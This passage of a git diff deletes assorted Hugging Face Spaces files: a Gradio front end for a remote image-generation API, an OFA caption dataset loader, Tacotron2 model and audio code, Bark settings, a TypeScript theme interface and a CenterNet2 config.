-def resize_numpy_image(image, max_resolution=512 * 512, resize_short_edge=None):
-    h, w = image.shape[:2]
-    if resize_short_edge is not None:
-        k = resize_short_edge / min(h, w)
-    else:
-        k = max_resolution / (h * w)
-        k = k**0.5
-    h = int(np.round(h * k / 64)) * 64
-    w = int(np.round(w * k / 64)) * 64
-    image = cv2.resize(image, (w, h), interpolation=cv2.INTER_LANCZOS4)
-    return image
-
-
-def setup_dist(args):
-    if dist.is_initialized():
-        return
-    torch.cuda.set_device(args.local_rank)
-    torch.distributed.init_process_group(
-        'nccl',
-        init_method='env://'
-    )
\ No newline at end of file
diff --git a/spaces/NSect/RealisticPhotoModels/app.py b/spaces/NSect/RealisticPhotoModels/app.py
deleted file mode 100644
index 7ba1388997c77f99dde787527044c3c6e2db5957..0000000000000000000000000000000000000000
--- a/spaces/NSect/RealisticPhotoModels/app.py
+++ /dev/null
@@ -1,35 +0,0 @@
-import gradio as gr
-import requests
-from PIL import Image
-from io import BytesIO
-import base64
-
-api_url = "https://5cb20b40-572c-426f-9466-995256f9b6eb.id.repl.co/generate_image"
-
-def generate_image(model="Dreamlike Photoreal", prompt="", seed=0, negative_prompt="", sampler="k_dpmpp_2s_a", steps=50):
-    data = "?model=" + model + "&prompt=" + prompt + "&seed=" + str(seed) + "&negative_prompt=" + negative_prompt + "&sampler=" + sampler + "&steps=" + str(steps)
-    response = requests.post(api_url + data, timeout=400)
-    if response.status_code == 200:
-        img_base64 = response.json()["url"]
-        img_bytes = base64.b64decode(img_base64)
-        img = Image.open(BytesIO(img_bytes))
-        return img
-    else:
-        return None
-
-inputs = [
-     gr.inputs.Dropdown(['Analog Diffusion', 'ChilloutMix', 'Dreamlike Photoreal', 'Epic Diffusion', 'Experience', 'FaeTastic', 'Hassanblend', 'NeverEnding Dream', 'ProtoGen', 'RealBiter', 'Realism Engine', 'Realistic Vision', 'Woop-Woop Photo'], label="Model", default="Dreamlike Photoreal"),
-    gr.inputs.Textbox(label="Prompt"),
-    gr.inputs.Number(label="Seed", default=0),
-    gr.inputs.Textbox(label="Negative Prompt", default=""),
-    gr.inputs.Dropdown(["k_lms", "k_heun", "k_euler", "k_euler_a", "k_dpm_2", "k_dpm_2_a", "DDIM", "k_dpm_fast", "k_dpm_adaptive", "k_dpmpp_2m", "k_dpmpp_2s_a", "k_dpmpp_sde"], label="Sampler", default="k_dpmpp_2s_a"),
-    gr.inputs.Number(label="Steps", default=50)
-]
-
-outputs = gr.outputs.Image(label="Generated Image", type="pil")
-
-interface = gr.Interface(generate_image, inputs, outputs, title="", 
-                         description="<center></center>", 
-                         examples=[])
-
-interface.launch()
diff --git a/spaces/OFA-Sys/OFA-Image_Caption/data/mm_data/caption_dataset.py b/spaces/OFA-Sys/OFA-Image_Caption/data/mm_data/caption_dataset.py
deleted file mode 100644
index c13c8ed336acf430d1d4e688175c346b21a935fa..0000000000000000000000000000000000000000
--- a/spaces/OFA-Sys/OFA-Image_Caption/data/mm_data/caption_dataset.py
+++ /dev/null
@@ -1,164 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-#
-# This source code is licensed under the MIT license found in the
-# LICENSE file in the root directory of this source tree.
-from io import BytesIO
-
-import logging
-import warnings
-import string
-
-import numpy as np
-import torch
-import base64
-from torchvision import transforms
-
-from PIL import Image, ImageFile
-
-from data import data_utils
-from data.ofa_dataset import OFADataset
-
-ImageFile.LOAD_TRUNCATED_IMAGES = True
-ImageFile.MAX_IMAGE_PIXELS = None
-Image.MAX_IMAGE_PIXELS = None
-
-logger = logging.getLogger(__name__)
-warnings.filterwarnings("ignore", "(Possibly )?corrupt EXIF data", UserWarning)
-
-IMAGENET_DEFAULT_MEAN = (0.485, 0.456, 0.406)
-IMAGENET_DEFAULT_STD = (0.229, 0.224, 0.225)
-
-
-def collate(samples, pad_idx, eos_idx):
-    if len(samples) == 0:
-        return {}
-
-    def merge(key):
-        return data_utils.collate_tokens(
-            [s[key] for s in samples],
-            pad_idx,
-            eos_idx=eos_idx,
-        )
-
-    id = np.array([s["id"] for s in samples])
-    src_tokens = merge("source")
-    src_lengths = torch.LongTensor([s["source"].ne(pad_idx).long().sum() for s in samples])
-
-    patch_images = torch.stack([sample['patch_image'] for sample in samples], dim=0)
-    patch_masks = torch.cat([sample['patch_mask'] for sample in samples])
-
-    prev_output_tokens = None
-    target = None
-    if samples[0].get("target", None) is not None:
-        target = merge("target")
-        tgt_lengths = torch.LongTensor([s["target"].ne(pad_idx).long().sum() for s in samples])
-        ntokens = tgt_lengths.sum().item()
-
-        if samples[0].get("prev_output_tokens", None) is not None:
-            prev_output_tokens = merge("prev_output_tokens")
-    else:
-        ntokens = src_lengths.sum().item()
-
-    batch = {
-        "id": id,
-        "nsentences": len(samples),
-        "ntokens": ntokens,
-        "net_input": {
-            "src_tokens": src_tokens,
-            "src_lengths": src_lengths,
-            "patch_images": patch_images,
-            "patch_masks": patch_masks,
-            "prev_output_tokens": prev_output_tokens
-        },
-        "target": target,
-    }
-
-    return batch
-
-
-class CaptionDataset(OFADataset):
-    def __init__(
-        self,
-        split,
-        dataset,
-        bpe,
-        src_dict,
-        tgt_dict=None,
-        max_src_length=128,
-        max_tgt_length=30,
-        patch_image_size=224,
-        imagenet_default_mean_and_std=False,
-        scst=False
-    ):
-        self.split = split
-        self.dataset = dataset
-        self.bpe = bpe
-        self.src_dict = src_dict
-        self.tgt_dict = tgt_dict
-        self.max_src_length = max_src_length
-        self.max_tgt_length = max_tgt_length
-
-        self.patch_image_size = patch_image_size
-        self.scst = scst
-
-        self.bos = src_dict.bos()
-        self.eos = src_dict.eos()
-        self.pad = src_dict.pad()
-        self.bos_item = torch.LongTensor([self.bos])
-        self.eos_item = torch.LongTensor([self.eos])
-        self.transtab = str.maketrans({key: None for key in string.punctuation})
-
-        if imagenet_default_mean_and_std:
-            mean = IMAGENET_DEFAULT_MEAN
-            std = IMAGENET_DEFAULT_STD
-        else:
-            mean = [0.5, 0.5, 0.5]
-            std = [0.5, 0.5, 0.5]
-
-        self.patch_resize_transform = transforms.Compose([
-            lambda image: image.convert("RGB"),
-            transforms.Resize((patch_image_size, patch_image_size), interpolation=Image.BICUBIC),
-            transforms.ToTensor(),
-            transforms.Normalize(mean=mean, std=std),
-        ])
-
-    def __getitem__(self, index):
-        uniq_id, image, caption = self.dataset[index]
-
-        image = Image.open(BytesIO(base64.urlsafe_b64decode(image)))
-        patch_image = self.patch_resize_transform(image)
-        patch_mask = torch.tensor([True])
-
-        if self.split == 'train' and not self.scst:
-            caption = caption.translate(self.transtab).strip()
-            caption_token_list = caption.strip().split()
-            tgt_caption = ' '.join(caption_token_list[:self.max_tgt_length])
-        else:
-            caption = ' '.join(caption.strip().split())
-            caption_list = [cap.translate(self.transtab).strip() for cap in caption.strip().split('&&')]
-            tgt_caption = '&&'.join(caption_list)
-        src_item = self.encode_text(" what does the image describe?")
-        tgt_item = self.encode_text(" {}".format(tgt_caption))
-
-        src_item = torch.cat([self.bos_item, src_item, self.eos_item])
-        target_item = torch.cat([tgt_item, self.eos_item])
-        prev_output_item = torch.cat([self.bos_item, tgt_item])
-
-        example = {
-            "id": uniq_id,
-            "source": src_item,
-            "patch_image": patch_image,
-            "patch_mask": patch_mask,
-            "target": target_item,
-            "prev_output_tokens": prev_output_item
-        }
-        return example
-
-    def collater(self, samples, pad_to_length=None):
-        """Merge a list of samples to form a mini-batch.
-        Args:
-            samples (List[dict]): samples to collate
-        Returns:
-            dict: a mini-batch with the following keys:
-        """
-        return collate(samples, pad_idx=self.pad, eos_idx=self.eos)
\ No newline at end of file
diff --git a/spaces/OFA-Sys/OFA-Image_Caption/fairseq/examples/textless_nlp/gslm/unit2speech/tacotron2/audio_processing.py b/spaces/OFA-Sys/OFA-Image_Caption/fairseq/examples/textless_nlp/gslm/unit2speech/tacotron2/audio_processing.py
deleted file mode 100644
index b5af7f723eb8047bc58db2f85234aea161fbc659..0000000000000000000000000000000000000000
--- a/spaces/OFA-Sys/OFA-Image_Caption/fairseq/examples/textless_nlp/gslm/unit2speech/tacotron2/audio_processing.py
+++ /dev/null
@@ -1,93 +0,0 @@
-import torch
-import numpy as np
-from scipy.signal import get_window
-import librosa.util as librosa_util
-
-
-def window_sumsquare(window, n_frames, hop_length=200, win_length=800,
-                     n_fft=800, dtype=np.float32, norm=None):
-    """
-    # from librosa 0.6
-    Compute the sum-square envelope of a window function at a given hop length.
-
-    This is used to estimate modulation effects induced by windowing
-    observations in short-time fourier transforms.
-
-    Parameters
-    ----------
-    window : string, tuple, number, callable, or list-like
-        Window specification, as in `get_window`
-
-    n_frames : int > 0
-        The number of analysis frames
-
-    hop_length : int > 0
-        The number of samples to advance between frames
-
-    win_length : [optional]
-        The length of the window function.  By default, this matches `n_fft`.
-
-    n_fft : int > 0
-        The length of each analysis frame.
-
-    dtype : np.dtype
-        The data type of the output
-
-    Returns
-    -------
-    wss : np.ndarray, shape=`(n_fft + hop_length * (n_frames - 1))`
-        The sum-squared envelope of the window function
-    """
-    if win_length is None:
-        win_length = n_fft
-
-    n = n_fft + hop_length * (n_frames - 1)
-    x = np.zeros(n, dtype=dtype)
-
-    # Compute the squared window at the desired length
-    win_sq = get_window(window, win_length, fftbins=True)
-    win_sq = librosa_util.normalize(win_sq, norm=norm)**2
-    win_sq = librosa_util.pad_center(win_sq, n_fft)
-
-    # Fill the envelope
-    for i in range(n_frames):
-        sample = i * hop_length
-        x[sample:min(n, sample + n_fft)] += win_sq[:max(0, min(n_fft, n - sample))]
-    return x
-
-
-def griffin_lim(magnitudes, stft_fn, n_iters=30):
-    """
-    PARAMS
-    ------
-    magnitudes: spectrogram magnitudes
-    stft_fn: STFT class with transform (STFT) and inverse (ISTFT) methods
-    """
-
-    angles = np.angle(np.exp(2j * np.pi * np.random.rand(*magnitudes.size())))
-    angles = angles.astype(np.float32)
-    angles = torch.autograd.Variable(torch.from_numpy(angles))
-    signal = stft_fn.inverse(magnitudes, angles).squeeze(1)
-
-    for i in range(n_iters):
-        _, angles = stft_fn.transform(signal)
-        signal = stft_fn.inverse(magnitudes, angles).squeeze(1)
-    return signal
-
-
-def dynamic_range_compression(x, C=1, clip_val=1e-5):
-    """
-    PARAMS
-    ------
-    C: compression factor
-    """
-    return torch.log(torch.clamp(x, min=clip_val) * C)
-
-
-def dynamic_range_decompression(x, C=1):
-    """
-    PARAMS
-    ------
-    C: compression factor used to compress
-    """
-    return torch.exp(x) / C
diff --git a/spaces/OFA-Sys/OFA-vqa/fairseq/fairseq/models/text_to_speech/tacotron2.py b/spaces/OFA-Sys/OFA-vqa/fairseq/fairseq/models/text_to_speech/tacotron2.py
deleted file mode 100644
index bb327e81e74900349e1357261bf2f14bc037ccd6..0000000000000000000000000000000000000000
--- a/spaces/OFA-Sys/OFA-vqa/fairseq/fairseq/models/text_to_speech/tacotron2.py
+++ /dev/null
@@ -1,350 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-#
-# This source code is licensed under the MIT license found in the
-# LICENSE file in the root directory of this source tree.
-
-import logging
-
-import torch
-from torch import nn
-from torch.nn import functional as F
-
-from fairseq.models import (FairseqEncoder, FairseqEncoderDecoderModel,
-                            FairseqIncrementalDecoder, register_model,
-                            register_model_architecture)
-from fairseq.modules import LSTMCellWithZoneOut, LocationAttention
-
-
-logger = logging.getLogger(__name__)
-
-
-def encoder_init(m):
-    if isinstance(m, nn.Conv1d):
-        nn.init.xavier_uniform_(m.weight, torch.nn.init.calculate_gain("relu"))
-
-
-class Tacotron2Encoder(FairseqEncoder):
-    def __init__(self, args, src_dict, embed_speaker):
-        super().__init__(src_dict)
-        self.padding_idx = src_dict.pad()
-        self.embed_speaker = embed_speaker
-        self.spk_emb_proj = None
-        if embed_speaker is not None:
-            self.spk_emb_proj = nn.Linear(
-                args.encoder_embed_dim + args.speaker_embed_dim,
-                args.encoder_embed_dim
-            )
-
-        self.embed_tokens = nn.Embedding(len(src_dict), args.encoder_embed_dim,
-                                         padding_idx=self.padding_idx)
-
-        assert(args.encoder_conv_kernel_size % 2 == 1)
-        self.convolutions = nn.ModuleList(
-            nn.Sequential(
-                nn.Conv1d(args.encoder_embed_dim, args.encoder_embed_dim,
-                          kernel_size=args.encoder_conv_kernel_size,
-                          padding=((args.encoder_conv_kernel_size - 1) // 2)),
-                nn.BatchNorm1d(args.encoder_embed_dim),
-                nn.ReLU(),
-                nn.Dropout(args.encoder_dropout)
-            )
-            for _ in range(args.encoder_conv_layers)
-        )
-
-        self.lstm = nn.LSTM(args.encoder_embed_dim, args.encoder_embed_dim // 2,
-                            num_layers=args.encoder_lstm_layers,
-                            batch_first=True, bidirectional=True)
-
-        self.apply(encoder_init)
-
-    def forward(self, src_tokens, src_lengths=None, speaker=None, **kwargs):
-        x = self.embed_tokens(src_tokens)
-        x = x.transpose(1, 2).contiguous()  # B x T x C -> B x C x T
-        for conv in self.convolutions:
-            x = conv(x)
-        x = x.transpose(1, 2).contiguous()  # B x C x T -> B x T x C
-
-        src_lengths = src_lengths.cpu().long()
-        x = nn.utils.rnn.pack_padded_sequence(x, src_lengths, batch_first=True)
-        x = self.lstm(x)[0]
-        x = nn.utils.rnn.pad_packed_sequence(x, batch_first=True)[0]
-
-        encoder_padding_mask = src_tokens.eq(self.padding_idx)
-
-        if self.embed_speaker is not None:
-            seq_len, bsz, _ = x.size()
-            emb = self.embed_speaker(speaker).expand(seq_len, bsz, -1)
-            x = self.spk_emb_proj(torch.cat([x, emb], dim=2))
-
-        return {
-            "encoder_out": [x],  # B x T x C
-            "encoder_padding_mask": encoder_padding_mask,   # B x T
-        }
-
-
-class Prenet(nn.Module):
-    def __init__(self, in_dim, n_layers, n_units, dropout):
-        super().__init__()
-        self.layers = nn.ModuleList(
-            nn.Sequential(nn.Linear(in_dim if i == 0 else n_units, n_units),
-                          nn.ReLU())
-            for i in range(n_layers)
-        )
-        self.dropout = dropout
-
-    def forward(self, x):
-        for layer in self.layers:
-            x = F.dropout(layer(x), p=self.dropout)  # always applies dropout
-        return x
-
-
-class Postnet(nn.Module):
-    def __init__(self, in_dim, n_channels, kernel_size, n_layers, dropout):
-        super(Postnet, self).__init__()
-        self.convolutions = nn.ModuleList()
-        assert(kernel_size % 2 == 1)
-        for i in range(n_layers):
-            cur_layers = [
-                nn.Conv1d(in_dim if i == 0 else n_channels,
-                          n_channels if i < n_layers - 1 else in_dim,
-                          kernel_size=kernel_size,
-                          padding=((kernel_size - 1) // 2)),
-                nn.BatchNorm1d(n_channels if i < n_layers - 1 else in_dim)
-            ] + ([nn.Tanh()] if i < n_layers - 1 else []) + [nn.Dropout(dropout)]
-            nn.init.xavier_uniform_(
-                cur_layers[0].weight,
-                torch.nn.init.calculate_gain(
-                    "tanh" if i < n_layers - 1 else "linear"
-                )
-            )
-            self.convolutions.append(nn.Sequential(*cur_layers))
-
-    def forward(self, x):
-        x = x.transpose(1, 2)  # B x T x C -> B x C x T
-        for conv in self.convolutions:
-            x = conv(x)
-        return x.transpose(1, 2)
-
-
-def decoder_init(m):
-    if isinstance(m, torch.nn.Conv1d):
-        nn.init.xavier_uniform_(m.weight, torch.nn.init.calculate_gain("tanh"))
-
-
-class Tacotron2Decoder(FairseqIncrementalDecoder):
-    def __init__(self, args, src_dict):
-        super().__init__(None)
-        self.args = args
-        self.n_frames_per_step = args.n_frames_per_step
-        self.out_dim = args.output_frame_dim * args.n_frames_per_step
-
-        self.prenet = Prenet(self.out_dim, args.prenet_layers, args.prenet_dim,
-                             args.prenet_dropout)
-
-        # take prev_context, prev_frame, (speaker embedding) as input
-        self.attention_lstm = LSTMCellWithZoneOut(
-            args.zoneout,
-            args.prenet_dim + args.encoder_embed_dim,
-            args.decoder_lstm_dim
-        )
-
-        # take attention_lstm output, attention_state, encoder_out as input
-        self.attention = LocationAttention(
-            args.attention_dim, args.encoder_embed_dim, args.decoder_lstm_dim,
-            (1 + int(args.attention_use_cumprob)),
-            args.attention_conv_dim, args.attention_conv_kernel_size
-        )
-
-        # take attention_lstm output, context, (gated_latent) as input
-        self.lstm = nn.ModuleList(
-            LSTMCellWithZoneOut(
-                args.zoneout,
-                args.encoder_embed_dim + args.decoder_lstm_dim,
-                args.decoder_lstm_dim
-            )
-            for i in range(args.decoder_lstm_layers)
-        )
-
-        proj_in_dim = args.encoder_embed_dim + args.decoder_lstm_dim
-        self.feat_proj = nn.Linear(proj_in_dim, self.out_dim)
-        self.eos_proj = nn.Linear(proj_in_dim, 1)
-
-        self.postnet = Postnet(self.out_dim, args.postnet_conv_dim,
-                               args.postnet_conv_kernel_size,
-                               args.postnet_layers, args.postnet_dropout)
-
-        self.ctc_proj = None
-        if getattr(args, "ctc_weight", 0.) > 0.:
-            self.ctc_proj = nn.Linear(self.out_dim, len(src_dict))
-
-        self.apply(decoder_init)
-
-    def _get_states(self, incremental_state, enc_out):
-        bsz, in_len, _ = enc_out.size()
-        alstm_h = self.get_incremental_state(incremental_state, "alstm_h")
-        if alstm_h is None:
-            alstm_h = enc_out.new_zeros(bsz, self.args.decoder_lstm_dim)
-        alstm_c = self.get_incremental_state(incremental_state, "alstm_c")
-        if alstm_c is None:
-            alstm_c = enc_out.new_zeros(bsz, self.args.decoder_lstm_dim)
-
-        lstm_h = self.get_incremental_state(incremental_state, "lstm_h")
-        if lstm_h is None:
-            lstm_h = [enc_out.new_zeros(bsz, self.args.decoder_lstm_dim)
-                      for _ in range(self.args.decoder_lstm_layers)]
-        lstm_c = self.get_incremental_state(incremental_state, "lstm_c")
-        if lstm_c is None:
-            lstm_c = [enc_out.new_zeros(bsz, self.args.decoder_lstm_dim)
-                      for _ in range(self.args.decoder_lstm_layers)]
-
-        attn_w = self.get_incremental_state(incremental_state, "attn_w")
-        if attn_w is None:
-            attn_w = enc_out.new_zeros(bsz, in_len)
-        attn_w_cum = self.get_incremental_state(incremental_state, "attn_w_cum")
-        if attn_w_cum is None:
-            attn_w_cum = enc_out.new_zeros(bsz, in_len)
-        return alstm_h, alstm_c, lstm_h, lstm_c, attn_w, attn_w_cum
-
-    def _get_init_attn_c(self, enc_out, enc_mask):
-        bsz = enc_out.size(0)
-        if self.args.init_attn_c == "zero":
-            return enc_out.new_zeros(bsz, self.args.encoder_embed_dim)
-        elif self.args.init_attn_c == "avg":
-            enc_w = (~enc_mask).type(enc_out.type())
-            enc_w = enc_w / enc_w.sum(dim=1, keepdim=True)
-            return torch.sum(enc_out * enc_w.unsqueeze(2), dim=1)
-        else:
-            raise ValueError(f"{self.args.init_attn_c} not supported")
-
-    def forward(self, prev_output_tokens, encoder_out=None,
-                incremental_state=None, target_lengths=None, **kwargs):
-        enc_mask = encoder_out["encoder_padding_mask"]
-        enc_out = encoder_out["encoder_out"][0]
-        in_len = enc_out.size(1)
-
-        if incremental_state is not None:
-            prev_output_tokens = prev_output_tokens[:, -1:, :]
-        bsz, out_len, _ = prev_output_tokens.size()
-
-        prenet_out = self.prenet(prev_output_tokens)
-        (alstm_h, alstm_c, lstm_h, lstm_c,
-         attn_w, attn_w_cum) = self._get_states(incremental_state, enc_out)
-        attn_ctx = self._get_init_attn_c(enc_out, enc_mask)
-
-        attn_out = enc_out.new_zeros(bsz, in_len, out_len)
-        feat_out = enc_out.new_zeros(bsz, out_len, self.out_dim)
-        eos_out = enc_out.new_zeros(bsz, out_len)
-        for t in range(out_len):
-            alstm_in = torch.cat((attn_ctx, prenet_out[:, t, :]), dim=1)
-            alstm_h, alstm_c = self.attention_lstm(alstm_in, (alstm_h, alstm_c))
-
-            attn_state = attn_w.unsqueeze(1)
-            if self.args.attention_use_cumprob:
-                attn_state = torch.stack((attn_w, attn_w_cum), dim=1)
-            attn_ctx, attn_w = self.attention(
-                enc_out, enc_mask, alstm_h, attn_state
-            )
-            attn_w_cum = attn_w_cum + attn_w
-            attn_out[:, :, t] = attn_w
-
-            for i, cur_lstm in enumerate(self.lstm):
-                if i == 0:
-                    lstm_in = torch.cat((attn_ctx, alstm_h), dim=1)
-                else:
-                    lstm_in = torch.cat((attn_ctx, lstm_h[i - 1]), dim=1)
-                lstm_h[i], lstm_c[i] = cur_lstm(lstm_in, (lstm_h[i], lstm_c[i]))
-
-            proj_in = torch.cat((attn_ctx, lstm_h[-1]), dim=1)
-            feat_out[:, t, :] = self.feat_proj(proj_in)
-            eos_out[:, t] = self.eos_proj(proj_in).squeeze(1)
-        self.attention.clear_cache()
-
-        self.set_incremental_state(incremental_state, "alstm_h", alstm_h)
-        self.set_incremental_state(incremental_state, "alstm_c", alstm_c)
-        self.set_incremental_state(incremental_state, "lstm_h", lstm_h)
-        self.set_incremental_state(incremental_state, "lstm_c", lstm_c)
-        self.set_incremental_state(incremental_state, "attn_w", attn_w)
-        self.set_incremental_state(incremental_state, "attn_w_cum", attn_w_cum)
-
-        post_feat_out = feat_out + self.postnet(feat_out)
-        eos_out = eos_out.view(bsz, out_len, 1)
-        return post_feat_out, eos_out, {"attn": attn_out, "feature_out": feat_out}
-
-
-@register_model("tacotron_2")
-class Tacotron2Model(FairseqEncoderDecoderModel):
-    """
-    Implementation for https://arxiv.org/pdf/1712.05884.pdf
-    """
-
-    @staticmethod
-    def add_args(parser):
-        # encoder
-        parser.add_argument("--encoder-dropout", type=float)
-        parser.add_argument("--encoder-embed-dim", type=int)
-        parser.add_argument("--encoder-conv-layers", type=int)
-        parser.add_argument("--encoder-conv-kernel-size", type=int)
-        parser.add_argument("--encoder-lstm-layers", type=int)
-        # decoder
-        parser.add_argument("--attention-dim", type=int)
-        parser.add_argument("--attention-conv-dim", type=int)
-        parser.add_argument("--attention-conv-kernel-size", type=int)
-        parser.add_argument("--prenet-dropout", type=float)
-        parser.add_argument("--prenet-layers", type=int)
-        parser.add_argument("--prenet-dim", type=int)
-        parser.add_argument("--postnet-dropout", type=float)
-        parser.add_argument("--postnet-layers", type=int)
-        parser.add_argument("--postnet-conv-dim", type=int)
-        parser.add_argument("--postnet-conv-kernel-size", type=int)
-        parser.add_argument("--init-attn-c", type=str)
-        parser.add_argument("--attention-use-cumprob", action='store_true')
-        parser.add_argument("--zoneout", type=float)
-        parser.add_argument("--decoder-lstm-layers", type=int)
-        parser.add_argument("--decoder-lstm-dim", type=int)
-        parser.add_argument("--output-frame-dim", type=int)
-
-    def __init__(self, *args, **kwargs):
-        super().__init__(*args, **kwargs)
-        self._num_updates = 0
-
-    @classmethod
-    def build_model(cls, args, task):
-        embed_speaker = task.get_speaker_embeddings(args)
-        encoder = Tacotron2Encoder(args, task.src_dict, embed_speaker)
-        decoder = Tacotron2Decoder(args, task.src_dict)
-        return cls(encoder, decoder)
-
-    def forward_encoder(self, src_tokens, src_lengths, **kwargs):
-        return self.encoder(src_tokens, src_lengths=src_lengths, **kwargs)
-
-    def set_num_updates(self, num_updates):
-        super().set_num_updates(num_updates)
-        self._num_updates = num_updates
-
-
-@register_model_architecture("tacotron_2", "tacotron_2")
-def base_architecture(args):
-    # encoder
-    args.encoder_dropout = getattr(args, "encoder_dropout", 0.5)
-    args.encoder_embed_dim = getattr(args, "encoder_embed_dim", 512)
-    args.encoder_conv_layers = getattr(args, "encoder_conv_layers", 3)
-    args.encoder_conv_kernel_size = getattr(args, "encoder_conv_kernel_size", 5)
-    args.encoder_lstm_layers = getattr(args, "encoder_lstm_layers", 1)
-    # decoder
-    args.attention_dim = getattr(args, "attention_dim", 128)
-    args.attention_conv_dim = getattr(args, "attention_conv_dim", 32)
-    args.attention_conv_kernel_size = getattr(args,
-                                              "attention_conv_kernel_size", 15)
-    args.prenet_dropout = getattr(args, "prenet_dropout", 0.5)
-    args.prenet_layers = getattr(args, "prenet_layers", 2)
-    args.prenet_dim = getattr(args, "prenet_dim", 256)
-    args.postnet_dropout = getattr(args, "postnet_dropout", 0.5)
-    args.postnet_layers = getattr(args, "postnet_layers", 5)
-    args.postnet_conv_dim = getattr(args, "postnet_conv_dim", 512)
-    args.postnet_conv_kernel_size = getattr(args, "postnet_conv_kernel_size", 5)
-    args.init_attn_c = getattr(args, "init_attn_c", "zero")
-    args.attention_use_cumprob = getattr(args, "attention_use_cumprob", True)
-    args.zoneout = getattr(args, "zoneout", 0.1)
-    args.decoder_lstm_layers = getattr(args, "decoder_lstm_layers", 2)
-    args.decoder_lstm_dim = getattr(args, "decoder_lstm_dim", 1024)
-    args.output_frame_dim = getattr(args, "output_frame_dim", 80)
diff --git a/spaces/OkamiFeng/Bark-with-Voice-Cloning/bark/settings.py b/spaces/OkamiFeng/Bark-with-Voice-Cloning/bark/settings.py
deleted file mode 100644
index 81c660f3d2e33b21821583cb34c872c2ca23928b..0000000000000000000000000000000000000000
--- a/spaces/OkamiFeng/Bark-with-Voice-Cloning/bark/settings.py
+++ /dev/null
@@ -1,7 +0,0 @@
-import os
-
-def initenv(args):
-    os.environ['SUNO_USE_SMALL_MODELS'] = str("-smallmodels" in args)
-    os.environ['BARK_FORCE_CPU'] = str("-forcecpu" in args)
-    os.environ['SUNO_ENABLE_MPS'] = str("-enablemps" in args)
-    os.environ['SUNO_OFFLOAD_CPU'] = str("-offloadcpu" in args)
diff --git a/spaces/OpenDILabCommunity/DI-sheep/DI-sheep/ui/src/themes/interface.ts b/spaces/OpenDILabCommunity/DI-sheep/DI-sheep/ui/src/themes/interface.ts
deleted file mode 100644
index 75342ddc7a39e14872a3730b0f2181d5f9f35096..0000000000000000000000000000000000000000
--- a/spaces/OpenDILabCommunity/DI-sheep/DI-sheep/ui/src/themes/interface.ts
+++ /dev/null
@@ -1,19 +0,0 @@
-import { ReactNode } from 'react';
-
-export interface Icon<T = string> {
-    name: string;
-    content: ReactNode;
-    clickSound: T;
-    tripleSound: T;
-}
-
-interface Sound<T = string> {
-    name: T;
-    src: string;
-}
-
-export interface Theme<SoundNames> {
-    name: string;
-    icons: Icon<SoundNames>[];
-    sounds: Sound<SoundNames>[];
-}
diff --git a/spaces/OpenGVLab/InternGPT/iGPT/models/grit_src/third_party/CenterNet2/projects/CenterNet2/centernet/config.py b/spaces/OpenGVLab/InternGPT/iGPT/models/grit_src/third_party/CenterNet2/projects/CenterNet2/centernet/config.py
deleted file mode 100644
index 36d0d250556686f8dfa69ed2ba6372f9ebb0ec85..0000000000000000000000000000000000000000
--- a/spaces/OpenGVLab/InternGPT/iGPT/models/grit_src/third_party/CenterNet2/projects/CenterNet2/centernet/config.py
+++ /dev/null
@@ -1,87 +0,0 @@
-from detectron2.config import CfgNode as CN
-
-def add_centernet_config(cfg):
-    _C = cfg
-
-    _C.MODEL.CENTERNET = CN()
-    _C.MODEL.CENTERNET.NUM_CLASSES = 80
-    _C.MODEL.CENTERNET.IN_FEATURES = ["p3", "p4", "p5", "p6", "p7"]
-    _C.MODEL.CENTERNET.FPN_STRIDES = [8, 16, 32, 64, 128]
-    _C.MODEL.CENTERNET.PRIOR_PROB = 0.01
-    _C.MODEL.CENTERNET.INFERENCE_TH = 0.05
-    _C.MODEL.CENTERNET.CENTER_NMS = False
-    _C.MODEL.CENTERNET.NMS_TH_TRAIN = 0.6
-    _C.MODEL.CENTERNET.NMS_TH_TEST = 0.6
-    _C.MODEL.CENTERNET.PRE_NMS_TOPK_TRAIN = 1000
-    _C.MODEL.CENTERNET.POST_NMS_TOPK_TRAIN = 100
-    _C.MODEL.CENTERNET.PRE_NMS_TOPK_TEST = 1000
-    _C.MODEL.CENTERNET.POST_NMS_TOPK_TEST = 100
-    _C.MODEL.CENTERNET.NORM = "GN"
-    _C.MODEL.CENTERNET.USE_DEFORMABLE = False
-    _C.MODEL.CENTERNET.NUM_CLS_CONVS = 4
-    _C.MODEL.CENTERNET.NUM_BOX_CONVS = 4
-    _C.MODEL.CENTERNET.NUM_SHARE_CONVS = 0
-    _C.MODEL.CENTERNET.LOC_LOSS_TYPE = 'giou'
-    _C.MODEL.CENTERNET.SIGMOID_CLAMP = 1e-4
-    _C.MODEL.CENTERNET.HM_MIN_OVERLAP = 0.8
-    _C.MODEL.CENTERNET.MIN_RADIUS = 4
-    _C.MODEL.CENTERNET.SOI = [[0, 80], [64, 160], [128, 320], [256, 640], [512, 10000000]]
-    _C.MODEL.CENTERNET.POS_WEIGHT = 1.
-    _C.MODEL.CENTERNET.NEG_WEIGHT = 1.
-    _C.MODEL.CENTERNET.REG_WEIGHT = 2.
-    _C.MODEL.CENTERNET.HM_FOCAL_BETA = 4
-    _C.MODEL.CENTERNET.HM_FOCAL_ALPHA = 0.25
-    _C.MODEL.CENTERNET.LOSS_GAMMA = 2.0
-    _C.MODEL.CENTERNET.WITH_AGN_HM = False
-    _C.MODEL.CENTERNET.ONLY_PROPOSAL = False
-    _C.MODEL.CENTERNET.AS_PROPOSAL = False
-    _C.MODEL.CENTERNET.IGNORE_HIGH_FP = -1.
-    _C.MODEL.CENTERNET.MORE_POS = False
-    _C.MODEL.CENTERNET.MORE_POS_THRESH = 0.2
-    _C.MODEL.CENTERNET.MORE_POS_TOPK = 9
-    _C.MODEL.CENTERNET.NOT_NORM_REG = True
-    _C.MODEL.CENTERNET.NOT_NMS = False
-    _C.MODEL.CENTERNET.NO_REDUCE = False
-
-    _C.MODEL.ROI_BOX_HEAD.USE_SIGMOID_CE = False
-    _C.MODEL.ROI_BOX_HEAD.PRIOR_PROB = 0.01
-    _C.MODEL.ROI_BOX_HEAD.USE_EQL_LOSS = False
-    _C.MODEL.ROI_BOX_HEAD.CAT_FREQ_PATH = \
-        'datasets/lvis/lvis_v1_train_cat_info.json'
-    _C.MODEL.ROI_BOX_HEAD.EQL_FREQ_CAT = 200
-    _C.MODEL.ROI_BOX_HEAD.USE_FED_LOSS = False
-    _C.MODEL.ROI_BOX_HEAD.FED_LOSS_NUM_CAT = 50
-    _C.MODEL.ROI_BOX_HEAD.FED_LOSS_FREQ_WEIGHT = 0.5
